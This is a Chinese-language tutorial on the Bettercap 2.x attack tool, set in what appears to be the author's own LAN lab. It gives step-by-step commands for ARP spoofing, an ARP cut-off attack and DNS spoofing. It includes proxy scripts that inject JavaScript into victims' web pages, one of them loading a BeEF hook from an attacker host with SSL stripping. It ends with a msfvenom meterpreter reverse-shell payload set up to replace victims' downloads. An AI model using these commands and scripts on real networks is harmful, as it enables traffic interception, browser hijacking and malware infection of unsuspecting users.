工具使用 | Bettercap 2.X版本 使用

apt-get  install  bettercap
bettercap   #开启bettercap，默认是开启的eth0网卡，如果想开启其他网卡，比如无线网卡wlan0，可以bettercap iface wlan0

安装完之后我们就可以打开了，打开之后会列出局域网中存活的主机。最前面的192.168.10.25的是我们自己的主机，网段是192.168.10.0/24

我们输入：help  查看bettercap的用法 

下面的一些功能的解释

• help  模块名称    ：显示指定模块的帮助

• active：    显示当前运行中的模块的信息

• quit ：  结束会话并退出

• sleep 秒数：    休眠指定的秒数（和shell中的sleep一样）

• get 变量：    获取变量的值

• set 变量  值 ：   设置变量的值（有些模块有自定义变量，比如可用net.sniff.output变量指定嗅探器的输出的保存路径）

• read 变量 提示：    显示提示来让用户输入，输入内容会被储存在变量中

• clear：    清屏

• include CAPLET：    在当前会话读取并运行这个caplet

• ! 命令 ：  运行相应的shell命令并显示输出

• alias MAC地址 别名： 给MAC地址设置一个别名

一些常用模块

• api.rest：RESTful API模块

• net.recon ：主机发现模块，用于发现局域网内存活的主机，默认是开启的

• arp.spoof：arp欺骗模块

• ble.recon：低功耗蓝牙设备发现模块

• net.sniff : 网络嗅探模块

• dhcp6.spoof：dhcp6欺骗模块(通过伪造DHCP数据包篡改客户端的DNS服务器，因此需要与dns.spoof一并启用)

• dns.spoof：DNS欺骗模块

• events.stream：串流输出模块（就是不断地在终端界面刷出程序的输出，例如arp截获的信息）

• wifi：wifi模块，有deauth攻击（wifi杀手）和创建软ap的功能

我们可以使用 net.recon 模块的 net.show  列出局域网内存活的主机的信息

我们现在用 bettercap 来进行ARP欺骗，先看看arp.spoof这个模块怎么用。输入：help  arp.spoof

• arp.spoof  on : 开启ARP欺骗

• arp.ban  on ：开启ARP欺骗，用ban模式，这就意味着目标将不能上网，也就是断网攻击

• arp.spoof off ：停止ARP欺骗 

• arp.ban off :  停止ARP欺骗

参数：

• arp.spoof.internal：如果为true，那么网络中的计算机之间的本地连接将被欺骗，否则只能连接到来自外部网络(默认为false)

• arp.spoof.targets：要欺骗的目标，可以是 ip 、mac 或者 别名 ，也可以支持nmap形式的ip区域

• arp.spoof.whitelist：白名单，就是不欺骗的目标，可以是ip、mac或者别名

对于参数，我们可以get和set。

set arp.spoof.targets  192.168.10.2,192.168.10.14   #我们设置攻击目标，用逗号分隔。分别欺骗网关(192.168.10.2)和要欺骗的主机(192.168.10.14是我另外一台主机)，这里也可以是一个网段，如：192.168.10-20
get arp.spoof.targets    #获取arp.spoof.targets的值

设置好了参数之后，我们就可以开启ARP欺骗了：arp.spoof  on 

dns欺骗这里有一个前提，那就是局域网内的主机的DNS服务器是局域网内的网关，那样我们才能进行DNS欺骗，如果DNS服务器设置的是公网的DNS服务器，比如设置的谷歌的8.8.8.8 DNS服务器的话，这样是不能进行DNS欺骗的。

DNS欺骗之前，我们先得进行ARP欺骗，就是先欺骗主机让其认为网关就是我(攻击机)。然后由于主机的DNS服务器就是网关，所以主机会向我们发送DNS请求，这样我们就可以进行欺骗了。

set arp.spoof.targets 192.168.10.2,192.168.10.14
arp.spoof on    #先开启arp欺骗
set dns.spoof.domains www.baidu.com,www,taobao.com  #设置要欺骗的域名,多个域名用,分开，如果要欺骗所有的域名的话，为 *
set dns.spoof.address 3.3.3.3   #设置将要欺骗的域名转换成对应的ip地址
dns.spoof on   #开启dns欺骗，www.baidu.com和www.taobao.com对应的ip是3.3.3.3

可以看到，已经欺骗成功了

还有一种方法

我们可以在打开bettercap的目录创建一个文件host，文件中存放这要欺骗的域名和地址，如下

1.1.1.1 www.baidu.com
2.2.2.2 www.taobao.com
3.3.3.3 www.mi.com

然后我们进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数即可

#之前我们得先进行arp欺骗
set dns.spoof.hosts host  #设置dns.spoof.hosts里面存放这要欺骗的域名和欺骗后的地址，在bettercap打开的目录下
dns.spoof on  #开启dns欺骗

很明显，已经欺骗成功了！ 

通过进行ARP欺骗，我们可以拦截到流量，自然，我们就可以对拦截到的流量进行操作。我们可以对包内的http协议的数据包进行代理，然后往里面注入恶意脚本

set arp.spoof.targets 192.168.10.13,192.168.10.2    #设置arp欺骗的目标
set http.proxy.script /root/1.js       #往http流量中注入脚本
set https.proxy.script /root/1.js

http.proxy on   #开启HTTP代理
https.proxy on
arp.spoof on   #开启ARP欺骗

##/root/1.js
function onResponse(req,res){
    if(res.ContentType.indexOf('text/html')==0){
        var body=res.ReadBody();
        if(body.indexOf('</head>')!=-1){
            res.Body=body.replace(
                '</head>',
               '<script type="text/javascript">alert("your computer has hacked!")</script></head>'
            );
            }
        }
}

我们用靶机访问一个http和https协议的站点，可以看到，脚本已经注入请求的网页中了。

既然我们可以注入js脚本文件，那么我们就可以利用beef来对目标浏览器进行控制

set arp.spoof.targets 192.168.10.13,192.168.10.2    #设置arp欺骗的目标
set http.proxy.script  /root/test.js        #往http流量中注入脚本/root/test.js
set http.proxy.sslstrip true    #启用SSL剥离

http.proxy on   #开启HTTP代理
arp.spoof on   #开启ARP欺骗



#test.js内容
function onResponse(req,res){
    if(res.ContentType.indexOf('text/html')==0){
        var body=res.ReadBody();
        if(body.indexOf('</head>')!=-1){
            res.Body=body.replace(
                '</head>',
               '<script type="text/javascript" src="http://192.168.10.27:3000/hook.js"></script></head>'
            );
            }
        }
}

可以看到，我们的js代码已经插入网页中了 

那我们就可以利用beef对目标浏览器进行很多操作了！

在bettercap中，有一种文件后缀叫.cap，我们启动bettercap的时候可以指定该.cap文件，就会按照该.cap文件执行命令。

我们进入bettercap后，可以使用命令 caplets.update 更新.cap文件，然后使用命令 caplets.show 查看.cap文件有哪些。

我们这次替换下载文件，使用的是 download-autopwn.cap 文件。我们先到该文件的目录下，因为我们要欺骗的是windows系统的主机，所以我们先到该目录的windows目录下，生成一个payload.exe文件，然后退回到上一个目录，执行启动命令

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.11 lport=8888 -f exe -o payload.exe
bettercap -caplet download-autopwn.cap